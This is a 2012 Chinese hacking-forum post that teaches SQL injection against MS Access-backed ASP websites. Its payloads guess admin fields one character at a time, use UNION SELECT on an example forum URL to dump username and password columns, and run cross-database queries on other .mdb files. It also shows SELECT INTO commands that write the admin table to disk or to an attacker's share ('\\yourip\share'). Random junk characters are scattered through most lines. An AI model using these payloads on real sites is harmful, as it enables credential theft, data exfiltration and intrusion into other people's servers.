找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2088|回复: 0
打印 上一主题 下一主题

Access高级注入语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:20:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
--------------------------------------------------------------
  \' \3 e$ ~  L4 Y) B! e& A' `union查询法/ j- h' |( o  G% w' U/ b! E: p. S
首先要说的就是查询办法,一般的查询办法就是
7 e; M( Q  x# o! O/ V
9 s; f1 ?& `! H2 K" p& e程序代码
) n; P' u4 q( m- `" qand 1=(select count(*) from admin where left(id,1)='1')  }' G$ V' I. P- W2 O1 C

3 b. V3 N% E7 [. H$ m* ]) B+ s( J" {1 t这样开始判断了...就算你使用各种各样的工具,也是一个个字的去猜去判断对不对,不对再换一个.这样的坏处显而易见,慢. 特别是在猜测经过32位MD5加密过的段的时候...基本上你可以去泡壶茶再喝一杯., z+ |" w9 Q3 B0 g) `8 m* [0 H
所以这个时候,union select横空出现.别以为只能在PHP里用哦...2 I# D5 Y8 {: B
譬如你有一个ACCESS点:( Q. w+ b3 `# r9 f! w2 Q
程序代码
5 `* g" [3 R: K/ U( x! {& `1 o0 qhttp://bbs.tian6.com/xiaoyang.asp?coder=1, Q8 B4 u2 C9 y7 l+ x( [/ n0 k

. d1 }$ p2 }: U; _! k: Z知道存在admin表(你当然可以拿个工具先快速猜出表和字段来),# K& v/ h1 m0 s; m3 N1 E" o
然后我们直接来:$ n1 ?4 Q- _: r$ I0 W5 }7 |
程序代码
/ w$ v; M5 `' _/ j; ^  f! }( Yhttp://bbs.tian6.com/xiaoyang.asp?coder=1 union select 1,2,3,4,5,6..... from admin [where coderx=1(如果有限制查询条件)]( j8 q: R2 D+ j8 G8 x2 ^

# l0 H  u/ w. O4 x- E1 t这里从1开始加到回显正常为止.然后替换URL里相应在页面出现的1~X为password,username之类的东西,就可以直接暴内容了.多方便,多快捷.茶可以先放放,凉一些再来喝了.1 I/ x# B$ i+ d  s2 E

2 e* [6 J! C$ n; [2 G* A1 c: Y4 K
' [( S: w3 O3 p# k/ l$ T6 e9 t, r$ @. w( ?& J8 \0 O$ {3 Y4 p' x9 d( ]
---------------------------------------------------------------
% Z8 W/ r2 t7 k4 Y" i% MAccess跨库查询
" ?* o7 L6 h* u$ c* D& p( a有时候某个网站服务器上有两个以上系统,你发现其中一个有ACCESS注入点,但是后台没法提权,另外一个系统没有注入点,但是后台却有你需要的功能.那么这个时候,跨库来了.当然,你还可以用来MDB溢出,渗透的过程等等.他的作用往往是意想不到的.
% L8 F% q( B" J跨库的查询语句:
2 {* F8 m! t5 N- h+ d子查询:
  z9 {+ [, }' m程序代码$ F6 o  a- G! P
and (Select Count(*) from [D:\tianyang\backdoor\xiaoyang.mdb].test)>0
4 V# v) o/ K! g: N) _# |" b) N1 m
# g. H1 c/ C8 F# f& B+ Iunion查询:% B" J0 v: L" H' ?5 G
程序代码
" V( B' A$ B. q$ L4 V( t0 Eunion select 1,2,3,4.... from admin in "D:\xioatianyang\okok.asa" where id=1
' r0 r7 f9 b" [0 d% u9 T8 y' O! y9 P
跨库的作用当然不只这些了,大伙继续发挥吧..这里提供两篇参考过的文章连接:
' U( W5 P. Z3 k. p程序代码! Q2 k, Y& b( Y2 [, J! ^  l
http://www.4ngel.net/article/46.htm * ?' N/ [3 k5 K$ H7 {* g, a& g6 f
http://hf110.com/Article/hack/rqsl/200502/66.html
8 [7 V' y! V4 K8 G1 e
2 n0 ]# K5 k& E3 k+ \3 d---------------------------------------------------------------
" \$ C  M" i8 J. {8 FAccess注入,导出txt,htm,html# Q  G% B3 f4 ?( z
子查询语句:
' b! m1 {# Z: N6 ?/ C2 }9 R, r, z程序代码
: e5 f$ {: R2 s, kSelect * into [test.txt] in 'd:\web\' 'text;' from admin
, x0 z' b! N: e( R6 v2 |8 ~
5 g7 c9 p6 d$ R8 W- W这样就把admin表的内容以test类型存进了d:\web里面.
# F4 O1 g- Z& }UNION查询:
5 _" ~: s$ V& a2 v: D* v7 h程序代码
' ^9 K" f2 v: u4 `. G- c5 ]union select * into [admin.txt] in 'c:\' 'test;' from admin. P0 \" v# W9 Q6 ?) O3 W

8 J+ z) t% H" R, ~, q+ z0 [* Q3 k而且这里也可以保存到本地来:
7 S6 {7 a, X( x6 R8 N- g: ?" Q程序代码8 D# B0 X1 Y- f4 D
Select * into [test.txt] in '\\yourip\share' 'text;' from admin# n# l. C2 R+ U# O4 s2 G& u" ]
7 |5 X+ Q2 n% V' j3 R! s
不过,很多人包括我自己测试,本机数据库来操作是没问题的,但是一旦在注入点上,子查询会回显没有权限,union会回显动作查询不能作为行的来源.可以说还是个难题...原因大概是UNION只适用查询结合,UNION后面不能跟动作.和这个内容相关的,本论坛已有一帖:
( O; Q, Y, [( V! M; e" N* F+ S& Z" b% W) G8 E) G; p. O! @
程序代码& m5 q4 U! a( n
http://bbs.tian6.com/viewthread.php?tid=3016&extra=page%3D7
5 s0 i- B! |( i, x: i( d# C: p  |6 h  g9 f! [. M+ \
因为网上有许多和这相关的资料,所以我还是把他引进来了.如果一旦这方法运用成功的话,理论上我们只要知道表名,不需要知道段名,就可以看到该表所有内容了.或者我们可以建.php.tianyang  asp.asp之类的文件或者目录来导进文件~还是会很强大的.
" ~4 r7 N0 k9 G; c. f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表